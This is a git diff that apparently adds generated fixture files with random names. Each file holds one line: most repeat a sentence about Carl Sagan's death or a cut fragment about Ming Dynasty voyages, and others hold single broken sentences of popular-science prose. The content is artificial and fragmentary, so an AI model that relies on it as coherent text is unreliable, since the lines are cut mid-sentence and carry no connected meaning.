diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_brypdvmxcmih.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_brypdvmxcmih.txt
new file mode 100644
index 0000000..3dfc2e3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_brypdvmxcmih.txt
@@ -0,0 +1 @@
+Carl Sagan died in December 1996.CARL SAGAN
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_cdaijvscykkbfzx.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_cdaijvscykkbfzx.txt
new file mode 100644
index 0000000..3dfc2e3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_cdaijvscykkbfzx.txt
@@ -0,0 +1 @@
+Carl Sagan died in December 1996.CARL SAGAN
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_dmbrnuvgvuwvqwaqtorirmt.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_dmbrnuvgvuwvqwaqtorirmt.txt
new file mode 100644
index 0000000..3dfc2e3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_dmbrnuvgvuwvqwaqtorirmt.txt
@@ -0,0 +1 @@
+Carl Sagan died in December 1996.CARL SAGAN
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_dpyxarhhztxkhhxsymnc.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_dpyxarhhztxkhhxsymnc.txt
new file mode 100644
index 0000000..3dfc2e3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_dpyxarhhztxkhhxsymnc.txt
@@ -0,0 +1 @@
+Carl Sagan died in December 1996.CARL SAGAN
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_hueorrcvlsisjwwjevvcqa.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_hueorrcvlsisjwwjevvcqa.txt
new file mode 100644
index 0000000..3dfc2e3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_hueorrcvlsisjwwjevvcqa.txt
@@ -0,0 +1 @@
+Carl Sagan died in December 1996.CARL SAGAN
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_hyqhzojnk.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_hyqhzojnk.txt
new file mode 100644
index 0000000..3dfc2e3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_hyqhzojnk.txt
@@ -0,0 +1 @@
+Carl Sagan died in December 1996.CARL SAGAN
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_idnzqeysfoyrrizogxm.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_idnzqeysfoyrrizogxm.txt
new file mode 100644
index 0000000..3dfc2e3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_idnzqeysfoyrrizogxm.txt
@@ -0,0 +1 @@
+Carl Sagan died in December 1996.CARL SAGAN
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_irzneyvghcc.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_irzneyvghcc.txt
new file mode 100644
index 0000000..3dfc2e3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_irzneyvghcc.txt
@@ -0,0 +1 @@
+Carl Sagan died in December 1996.CARL SAGAN
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_oedseglyrv.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_oedseglyrv.txt
new file mode 100644
index 0000000..3dfc2e3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_oedseglyrv.txt
@@ -0,0 +1 @@
+Carl Sagan died in December 1996.CARL SAGAN
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_oljfwqfmps.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_oljfwqfmps.txt
new file mode 100644
index 0000000..3dfc2e3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_oljfwqfmps.txt
@@ -0,0 +1 @@
+Carl Sagan died in December 1996.CARL SAGAN
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_sbscfphwqvj.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_sbscfphwqvj.txt
new file mode 100644
index 0000000..3dfc2e3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_sbscfphwqvj.txt
@@ -0,0 +1 @@
+Carl Sagan died in December 1996.CARL SAGAN
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_vmjgewoossztiwtziybbsvia.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_vmjgewoossztiwtziybbsvia.txt
new file mode 100644
index 0000000..3dfc2e3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_vmjgewoossztiwtziybbsvia.txt
@@ -0,0 +1 @@
+Carl Sagan died in December 1996.CARL SAGAN
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_ychjszcvop.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_ychjszcvop.txt
new file mode 100644
index 0000000..3dfc2e3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_ychjszcvop.txt
@@ -0,0 +1 @@
+Carl Sagan died in December 1996.CARL SAGAN
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/bpfmmzmu.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/bpfmmzmu.txt
new file mode 100644
index 0000000..8fa72a1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/bpfmmzmu.txt
@@ -0,0 +1 @@
+reflect the evolutionary process described by Darwin and Wallace, they are anticipations of it - as are the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/ctldwypuqouwylabur.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/ctldwypuqouwylabur.txt
new file mode 100644
index 0000000..d3651fb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/ctldwypuqouwylabur.txt
@@ -0,0 +1 @@
+comparatively feeble gravitational attraction, has by now largely escaped to space. Jupiter, with its more
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/dutmfjnynolxwxmbrmad.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/dutmfjnynolxwxmbrmad.txt
new file mode 100644
index 0000000..9818d3b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/dutmfjnynolxwxmbrmad.txt
@@ -0,0 +1 @@
+these spacecraft is imagined to leave the Earth directly. Rather, they are constructed in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/dwuhbktqdksrk.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/dwuhbktqdksrk.txt
new file mode 100644
index 0000000..1f46ac2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/dwuhbktqdksrk.txt
@@ -0,0 +1 @@
+there are far more galaxies than people. This perspective is a courageous continuation of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/faqggsbjtuevd.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/faqggsbjtuevd.txt
new file mode 100644
index 0000000..d477473
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/faqggsbjtuevd.txt
@@ -0,0 +1 @@
+measurement improved, records had to be kept, so astronomy encouraged observation and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_acncftbr.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_acncftbr.txt
new file mode 100644
index 0000000..1f13f0a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_acncftbr.txt
@@ -0,0 +1 @@
+Arabia and Africa by the Ming Dynasty Chinese were described by Fei Hsin, one of the participants, in a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_aqoramaytcnfnqcu.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_aqoramaytcnfnqcu.txt
new file mode 100644
index 0000000..1f13f0a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_aqoramaytcnfnqcu.txt
@@ -0,0 +1 @@
+Arabia and Africa by the Ming Dynasty Chinese were described by Fei Hsin, one of the participants, in a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_bwuvpwkzpc.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_bwuvpwkzpc.txt
new file mode 100644
index 0000000..1f13f0a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_bwuvpwkzpc.txt
@@ -0,0 +1 @@
+Arabia and Africa by the Ming Dynasty Chinese were described by Fei Hsin, one of the participants, in a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_danddqgmbedmvbhplmyyeyaa.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_danddqgmbedmvbhplmyyeyaa.txt
new file mode 100644
index 0000000..1f13f0a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_danddqgmbedmvbhplmyyeyaa.txt
@@ -0,0 +1 @@
+Arabia and Africa by the Ming Dynasty Chinese were described by Fei Hsin, one of the participants, in a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_dnfknxwpazolrzpay.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_dnfknxwpazolrzpay.txt
new file mode 100644
index 0000000..1f13f0a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_dnfknxwpazolrzpay.txt
@@ -0,0 +1 @@
+Arabia and Africa by the Ming Dynasty Chinese were described by Fei Hsin, one of the participants, in a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_gxmbglfadymdibyzg.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_gxmbglfadymdibyzg.txt
new file mode 100644
index 0000000..1f13f0a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_gxmbglfadymdibyzg.txt
@@ -0,0 +1 @@
+Arabia and Africa by the Ming Dynasty Chinese were described by Fei Hsin, one of the participants, in a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_hzwnecqqcpqorktjd.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_hzwnecqqcpqorktjd.txt
new file mode 100644
index 0000000..1f13f0a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_hzwnecqqcpqorktjd.txt
@@ -0,0 +1 @@
+Arabia and Africa by the Ming Dynasty Chinese were described by Fei Hsin, one of the participants, in a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_iqaqqqdhjdtfycbgbfpcljh.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_iqaqqqdhjdtfycbgbfpcljh.txt
new file mode 100644
index 0000000..1f13f0a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_iqaqqqdhjdtfycbgbfpcljh.txt
@@ -0,0 +1 @@
+Arabia and Africa by the Ming Dynasty Chinese were described by Fei Hsin, one of the participants, in a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_jwodphswuegho.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_jwodphswuegho.txt
new file mode 100644
index 0000000..1f13f0a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_jwodphswuegho.txt
@@ -0,0 +1 @@
+Arabia and Africa by the Ming Dynasty Chinese were described by Fei Hsin, one of the participants, in a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_kvhyrkrjpnjzhoyepuoq.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_kvhyrkrjpnjzhoyepuoq.txt
new file mode 100644
index 0000000..1f13f0a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_kvhyrkrjpnjzhoyepuoq.txt
@@ -0,0 +1 @@
+Arabia and Africa by the Ming Dynasty Chinese were described by Fei Hsin, one of the participants, in a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_ohqcmupwdopbrdiin.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_ohqcmupwdopbrdiin.txt
new file mode 100644
index 0000000..1f13f0a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_ohqcmupwdopbrdiin.txt
@@ -0,0 +1 @@
+Arabia and Africa by the Ming Dynasty Chinese were described by Fei Hsin, one of the participants, in a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_rlbznyzcahtnpuwnldzoyj.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_rlbznyzcahtnpuwnldzoyj.txt
new file mode 100644
index 0000000..1f13f0a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_rlbznyzcahtnpuwnldzoyj.txt
@@ -0,0 +1 @@
+Arabia and Africa by the Ming Dynasty Chinese were described by Fei Hsin, one of the participants, in a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_ukgvozgcjikapoong.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_ukgvozgcjikapoong.txt
new file mode 100644
index 0000000..1f13f0a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_ukgvozgcjikapoong.txt
@@ -0,0 +1 @@
+Arabia and Africa by the Ming Dynasty Chinese were described by Fei Hsin, one of the participants, in a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_wrouemonxjrgjheevpco.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_wrouemonxjrgjheevpco.txt
new file mode 100644
index 0000000..1f13f0a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_wrouemonxjrgjheevpco.txt
@@ -0,0 +1 @@
+Arabia and Africa by the Ming Dynasty Chinese were described by Fei Hsin, one of the participants, in a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_xfgkbeqakydv.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_xfgkbeqakydv.txt
new file mode 100644
index 0000000..1f13f0a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_xfgkbeqakydv.txt
@@ -0,0 +1 @@
+Arabia and Africa by the Ming Dynasty Chinese were described by Fei Hsin, one of the participants, in a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_xwibgzeoiwukfnoj.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_xwibgzeoiwukfnoj.txt
new file mode 100644
index 0000000..1f13f0a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_xwibgzeoiwukfnoj.txt
@@ -0,0 +1 @@
+Arabia and Africa by the Ming Dynasty Chinese were described by Fei Hsin, one of the participants, in a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_yteizwvjulcgohwfynfpn.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_yteizwvjulcgohwfynfpn.txt
new file mode 100644
index 0000000..1f13f0a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/file_yteizwvjulcgohwfynfpn.txt
@@ -0,0 +1 @@
+Arabia and Africa by the Ming Dynasty Chinese were described by Fei Hsin, one of the participants, in a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/frnwsoimtvarflxyset.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/frnwsoimtvarflxyset.txt
new file mode 100644
index 0000000..f149faa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/frnwsoimtvarflxyset.txt
@@ -0,0 +1 @@
+one, and then the British, the French, the Chinese, the Indians, the Pakistanis. . . By the end
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/fwreslhxrn.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/fwreslhxrn.txt
new file mode 100644
index 0000000..95cc01d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/fwreslhxrn.txt
@@ -0,0 +1 @@
+wedge-shaped area within the ellipse. When it is close to the Sun, in a given period of time
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/gepasaotlosdpekzguujtg.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/gepasaotlosdpekzguujtg.txt
new file mode 100644
index 0000000..f175a6a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/gepasaotlosdpekzguujtg.txt
@@ -0,0 +1 @@
+regained consciousness they heard a great deal of noise and saw the forest blazing
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/llvcerjeqfde.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/llvcerjeqfde.txt
new file mode 100644
index 0000000..61e83a3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/llvcerjeqfde.txt
@@ -0,0 +1 @@
+from the chemical building blocks that surround them, and of turning hereditaryinformation into action. For example, one whale enzyme, identical to one you have in every
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/ncjltxnthfybpfy.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/ncjltxnthfybpfy.txt
new file mode 100644
index 0000000..95bb968
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/ncjltxnthfybpfy.txt
@@ -0,0 +1 @@
+clouds, condensing planetary systems, luminous supergiants, stable middle-aged stars, red
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/newlhcybjhknxn.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/newlhcybjhknxn.txt
new file mode 100644
index 0000000..0189650
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/newlhcybjhknxn.txt
@@ -0,0 +1 @@
+some foods we are struck down, in punishment for eating them. We did not mean to do
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/oazzzfubsliyrdglhyvdzav.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/oazzzfubsliyrdglhyvdzav.txt
new file mode 100644
index 0000000..02d4d21
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/oazzzfubsliyrdglhyvdzav.txt
@@ -0,0 +1 @@
+hole. The X-rays are plausibly generated by friction in the disk of gas and dust accreted
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/ovecxoghledxigvnhcvvxp.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/ovecxoghledxigvnhcvvxp.txt
new file mode 100644
index 0000000..5823164
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/ovecxoghledxigvnhcvvxp.txt
@@ -0,0 +1 @@
+impact catastrophism on all nine worlds, from Mercury to Pluto, and on all the smaller
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/owchuwfifxo.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/owchuwfifxo.txt
new file mode 100644
index 0000000..c9d5dc4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/owchuwfifxo.txt
@@ -0,0 +1 @@
+universe as it is. Astrology is a pseudoscience - a claim, in the absence of good evidence,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/qidtsxuotxrk.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/qidtsxuotxrk.txt
new file mode 100644
index 0000000..1a35b35
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/qidtsxuotxrk.txt
@@ -0,0 +1 @@
+in the Galaxy is in the millions. Thus, for all our concern about the possible unreliability of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/qxsfhfqpn.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/qxsfhfqpn.txt
new file mode 100644
index 0000000..a39ba80
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/qxsfhfqpn.txt
@@ -0,0 +1 @@
+Van Gogh’s Starry Night, or works by William Blake or Edvard Munch. But only a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/ryctwlsxnnmljn.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/ryctwlsxnnmljn.txt
new file mode 100644
index 0000000..1cd4c0e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/ryctwlsxnnmljn.txt
@@ -0,0 +1 @@
+The information in our genes is very old - most of it more than millions of years
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/udwgbdgnbsn.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/udwgbdgnbsn.txt
new file mode 100644
index 0000000..338b132
--- /dev/null
